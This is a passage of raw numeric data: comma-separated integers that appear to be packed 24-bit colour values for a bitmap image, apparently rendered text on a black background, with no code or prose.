,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,16777142,6684672,0,0,0,0,0,0,0,0,0,3838171,16777215,14389306,0,0,0,0,0,0,0,6731519,16777215,11953664,102,11993087,16777142,6684672,0,0,0,0,26294,16777215,16777215,11953664,102,11993087,16777215,16758374,0,0,0,0,0,0,0,26294,16777215,16758374,0,0,0,0,0,0,0,0,0,14992,14417919,16767888,3801088,0,0,0,0,0,0,26294,16777215,16767888,3801088,3838171,16777215,16758374,0,0,0,0,0,6731519,16777215,16767888,3801088,26294,16777215,16777142,6684672,0,0,0,0,0,0,14992,14417919,16777215,16777215,16777215,16777179,9452032,0,0,3838171,16777215,11953664,0,3827344,11983835,14408630,6699520,0,0,0,0,0,0,102,11993087,16777142,6684672,0,0,0,0,0,0,0,0,0,3838171,16777215,14389306,0,0,0,0,0,0,0,6731519,16777215,11953664,102,11993087,16777142,6684672,0,0,0,0,26294,16777215,11953664,58,6721718,14417919,16777215,14389306,0,0,0,0,26294,16777215,16777215,11953664,102,11993087,16777215,16758374,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14992,14417919,16767888,3801088,0,0,0,0,0,0,0,0,58,9493503,16777179,9452032,0,0,0,0,0,0,102,11993087,16777142,6684672,14992,14417919,16777142,6684672,0,0,0,0,26294,16777215,16777142,6684672,102,11993087,16777215,11953664,0,0,0,0,0,0,0,3838171,16777215,14389306,0,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,0,102,11993087,16777215,11953664,0,6731519,16777215,16758374,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,16777179,9452032,0,0,0,0,0,0,102,11993087,16777179,9452032,58,9493503,16777215,11953664,0,0,0,0,0,3838171,16777179,9452032,0,14992,14417919,16758374,0,0,0,102,11993087,16777215,11953722,3838171,16777142,6684730,6731483,16777179,9452032,0,26294,16777215,14389306,0,102,11993087,16767888,3801088,0,0,0,0,0,0,6731519,16777215,16767888,3801088,0,14992,14417919,16777179,9452032,0,0,0,0,0,102,11993087,16777215,11953664,0,0,0,0,0,0,0,26294,16777215,16777142,6684672,0,0,0,0,0,0,0,0,0,0,0,6731519,16777215,16758374,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,3827302,6710886,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,26294,16777215,16767888,3801088,0,0,58,9493503,16777215,14389306,0,0,26294,16777215,16777179,9452032,0,0,102,11993087,16767963,11964518,9484031,16777215,14389306,0,0,0,0,0,6731519,16777215,14399120,3801088,0,0,3827382,16777215,16777179,9452032,0,0,14992,14417919,14399120,6699520,0,0,14992,14417919,16777215,11953664,0,0,0,3838171,16777215,16758374,0,0,102,11993087,16777179,9452032,0,0,0,6731519,16777215,14389306,0,0,0,0,0,0,0,0,0,0,6731519,16777215,16777215,16767926,9463354,3815936,0,0,0,58,9493503,16777215,11953664,0,0,0,0,26294,16777215,16777142,6684672,0,14992,14417919,16777215,11953722,0,0,14950,11993087,16777215,14389306,0,0,26294,16777215,16777179,9452032,0,0,14950,11983871,16777215,16758374,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,6721755,16777215,16767926,9463354,0,0,3827382,16777215,16777179,9452032,0,0,58,9493503,16777215,14389306,0,0,58,6731519,16777215,14389306,0,0,0,0,102,11993087,16767888,9474267,16777215,11953664,0,0,0,0,26294,16777215,16767888,3801088,0,0,3827344,14417919,16777215,14389306,0,0,58,9493503,16777215,16777142,6699520,0,0,58,6721755,16777142,6684672,0,3838171,16777215,14389306,0,0,14950,9483995,16777215,16777215,11953664,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,14992,14417919,16777142,6684672,0,0,0,0,0,0,0,0,102,11993087,16777215,16767888,6699520,0,0,58,6731519,16758374,3801088,0,3838171,16777215,14389306,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,102,11993087,16777179,9452032,0,0,0,0,0,0,0,0,0,0,0,0,26294,16777215,16767888,3801088,0,3838171,16777215,16758374,0,0,0,0,14992,14417919,16777142,6684672,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,6731519,16777215,14408667,16777179,9452032,58,9493503,16767963,14417919,16777142,6684672,0,3838171,16777215,16777215,16777179,9452032,0,0,26294,16777215,16767888,3801088,0,26294,16777215,16777215,11953722,0,0,14950,11993087,16777215,14389306,0,0,26294,16777215,16767888,3801088,0,0,14950,9493503,16777215,16777142,6684672,0,26294,16777215,16777215,11953722,0,0,14950,11993087,16777215,14389306,0,0,3838171,16777215,14389306,0,0,0,14950,9493503,16777215,16767888,3801088,0,102,11993087,16777215,11953722,0,0,58,6731483,16777179,9452032,0,0,0,0,0,58,9493503,16777179,9452032,0,0,0,0,0,3838171,16777215,14389306,0,0,0,0,26294,16777215,16767888,3801088,58,9493503,16777215,11953664,0,0,0,0,102,11993087,16777179,9452032,3838171,16777215,16758374,0,0,0,0,0,0,26294,16777215,16767888,3801088,58,9493503,16777215,11953664,0,0,102,11993087,16777179,9452032,0,0,3838171,16777215,16758374,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,102,11993087,16777215,14389306,0,0,0,0,14992,14417919,16777142,6684672,0,0,0,0,0,0,0,3838171,16777215,16758374,0,0,0,0,0,0,0,0,0,0,0,0,0,6731519,16777215,14389306,0,0,0,0,0,0,26294,16777215,16758374,3838171,16777215,16758374,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,26294,16777215,16777142,6684672,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,6731519,16777215,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,26294,16777215,16777215,11953722,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,14906,0,0,0,0,0,0,0,0,0,0,0,0,14906,0,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,0,0,58,9493503,16777215,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16777215,16758374,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,16777179,9452032,0,0,0,0,0,0,0,0,58,9493503,16777179,9452032,0,0,0,0,0,0,0,0,58,9493503,16777215,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,14389306,0,0,0,0,0,0,58,9493503,16777215,16758374,3801088,0,14992,14417919,16777179,9452032,0,14950,6699520,0,0,0,0,0,0,58,6710842,0,0,3838171,16777215,16758374,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,58,9493503,16777179,9452032,0,0,0,0,0,26294,16777215,16777142,6684672,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,16777215,16777179,14399158,11974326,14408703,16777215,16777179,9452032,0,0,0,0,0,58,3815994,3827382,16777215,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,16777215,16777179,14399158,11974326,14408703,16777215,16777179,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,6731519,16777215,16758374,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,58,9493503,16777179,9452032,0,0,0,0,0,0,0,0,0,0,26294,16777215,16758374,0,0,0,0,0,0,0,0,14906,3838134,16777179,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,26294,16777215,16777215,16777215,16777215,16777215,11953664,58,9493503,16777179,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14906,6699578,3838171,16777179,9452032,0,0,0,0,0,0,14992,14417919,16767888,3801088,0,3838171,16777215,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14992,14417919,14389306,0,0,0,0,0,0,0,0,0,14992,14417919,14389306,0,0,0,0,0,0,0,0,0,14950,6710928,14408667,11964474,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,16767888,9474267,16777215,11953664,0,0,0,0,0,0,102,11993087,16767888,9474267,16777215,11953664,0,0,0,0,0,0,102,11993087,16767888,9474267,16777215,11953664,0,0,0,0,0,0,102,11993087,16767888,9474267,16777215,11953664,0,0,0,0,0,0,102,11993087,16767888,9474267,16777215,11953664,0,0,0,0,0,0,102,11993087,16767888,9474267,16777215,11953664,0,0,0,0,0,0,14992,14417919,16758454,11993087,16777142,6684672,0,0,0,0,58,9493503,16777215,16777142,6699520,0,0,58,6721755,16777142,6684672,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,0,0,0,102,11993087,16777179,9452032,0,0,0,0,0,0,0,0,102,11993087,16777179,9452032,0,0,0,0,0,0,0,0,102,11993087,16777179,9452032,0,0,0,0,0,0,0,0,102,11993087,16777179,9452032,0,0,0,0,0,3838171,16777215,14389306,0,0,14950,9483995,16777215,16777215,11953664,0,0,3838171,16777215,16777215,16777179,9452032,0,0,26294,16777215,16767888,3801088,0,26294,16777215,16777215,11953722,0,0,14950,11993087,16777215,14389306,0,0,26294,16777215,16777215,11953722,0,0,14950,11993087,16777215,14389306,0,0,26294,16777215,16777215,11953722,0,0,14950,11993087,16777215,14389306,0,0,26294,16777215,16777215,11953722,0,0,14950,11993087,16777215,14389306,0,0,26294,16777215,16777215,11953722,0,0,14950,11993087,16777215,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,26294,16777215,16777215,11953722,0,0,14992,14417919,16777215,14389306,0,0,3838171,16777215,14389306,0,0,0,0,26294,16777215,16767888,3801088,0,3838171,16777215,14389306,0,0,0,0,26294,16777215,16767888,3801088,0,3838171,16777215,14389306,0,0,0,0,26294,16777215,16767888,3801088,0,3838171,16777215,14389306,0,0,0,0,26294,16777215,16767888,3801088,0,3838171,16777215,16758374,0,0,0,0,26294,16777215,16767888,3801088,0,26294,16777215,16777215,16777215,16777215,16777215,16767963,14399078,3801088,0,0,0,0,26294,16777215,16777179,9463354,0,102,9493503,16777215,14389306,0,0,0,0,0,0,14906,3815936,0,0,0,0,0,0,0,0,0,0,14906,3815936,0,0,0,0,0,0,0,0,3815994,3815936,0,0,14906,3815994,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,0,0,0,0,3801088,0,0,0,0,0,0,0,14950,9483958,11974288,6699520,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,3815994,0,0,0,0,0,0,0,0,0,0,14906,3815994,0,0,0,0,0,0,0,0,3815994,3815936,0,0,58,3815994,3801088,0,0,0,0,0,3816038,6699578,0,0,14906,6710842,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14906,0,0,0,58,3801088,0,0,0,0,14950,9483995,14417919,16777215,16777215,16777215,16777215,14399120,6699578,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,3815994,0,0,0,0,0,0,0,0,0,0,14906,3815994,0,0,0,0,0,0,0,0,3815994,3815936,0,0,58,3815994,3801088,0,0,0,0,0,3815994,0,0,0,0,0,0,0,0,0,0,0,3816038,6699578,0,0,14906,6710842,3801088,0,0,0,0,0,0,0,3827344,11964518,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,0,0,0,0,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,0,0,0,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,16777179,9452032,0,0,0,0,0,0,102,11993087,16777179,9452032,58,9493503,16777215,11953664,0,0,0,0,0,6731519,16777179,9452032,0,14992,14417919,16758374,0,0,0,26294,16777215,16777142,6684672,3838171,16777142,6684672,0,0,0,0,3838171,16777215,11953664,0,58,9493503,16777142,6684672,0,58,6710842,0,0,58,9493503,16777215,11953664,0,0,0,0,0,0,0,0,0,0,0,102,11993087,16777179,9452032,0,0,0,0,0,0,58,9493503,16777215,14389306,0,0,0,0,0,0,0,0,0,0,0,0,14992,14417919,16777142,6684672,0,0,0,0,0,0,58,9493503,16777179,9452032,0,0,0,0,0,0,0,0,102,11993087,16777179,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,16777215,11953664,0,0,0,26294,16777215,16777142,6684672,0,0,0,6731519,16777215,16758374,0,0,0,0,0,0,6731519,16777215,14389306,0,0,0,0,0,58,6710886,0,0,0,0,58,9493503,16777215,11953664,0,0,0,14906,0,0,0,0,58,9493503,16777215,11953664,0,0,0,6731519,16777215,14389306,0,0,102,11993087,16777179,9452032,0,0,0,6731519,16777215,14389306,0,0,0,0,0,0,0,0,0,26294,16777215,16777215,11953722,0,0,0,0,0,0,58,9493503,16777215,11953664,0,0,0,0,6731519,16777215,16758374,0,0,26294,16777215,16767888,3801088,0,0,0,3838171,16777215,16758374,0,0,6731519,16777215,14389306,0,0,0,0,26294,16777215,16777142,6684672,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3827344,11983871,16767888,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16777179,11964518,3801088,0,0,0,0,0,0,0,0,0,6721680,3801088,0,0,0,102,11993087,16777215,11953664,0,0,14992,14417919,16758374,0,58,3827302,6710842,102,11993087,16767888,3801088,0,0,0,26294,16777215,16758374,26294,16777215,16758374,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,6731519,16777215,16758374,0,0,26294,16777215,16777179,9452032,0,0,0,0,0,0,0,0,3838171,16777215,14389306,0,0,0,0,6731519,16777215,16767888,3801088,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,14992,14417919,16777142,6684672,0,0,0,0,0,0,0,0,6731519,16777215,16767888,3801088,0,0,0,0,0,0,0,0,3838171,16777215,14389306,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,102,11993087,16777179,9452032,0,0,0,0,0,0,0,0,0,0,0,0,26294,16777215,16767888,3801088,0,3838171,16777215,16758374,0,0,0,0,26294,16777215,16758374,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,6731519,16777215,11964560,14417919,11953664,102,11993087,14389392,11993087,16777142,6684672,0,3838171,16777215,16777215,16777215,14389306,0,0,26294,16777215,16767888,3801088,0,6731519,16777215,16758374,0,0,0,0,26294,16777215,16777142,6684672,0,26294,16777215,16767888,3801088,0,0,0,102,11993087,16777215,11953664,0,6731519,16777215,16758374,0,0,0,0,26294,16777215,16777142,6684672,0,3838171,16777215,14389306,0,0,0,0,14992,14417919,16777179,9452032,0,26294,16777215,16777142,6684672,0,0,0,0,0,0,0,0,0,0,0,58,9493503,16777179,9452032,0,0,0,0,0,3838171,16777215,14389306,0,0,0,0,26294,16777215,16767888,3801088,0,3838171,16777215,14389306,0,0,0,0,14992,14417919,16767888,3801088,26294,16777215,16758374,0,0,14906,3815994,0,0,26294,16777215,16758374,0,0,26294,16777215,16777142,6684672,0,6731519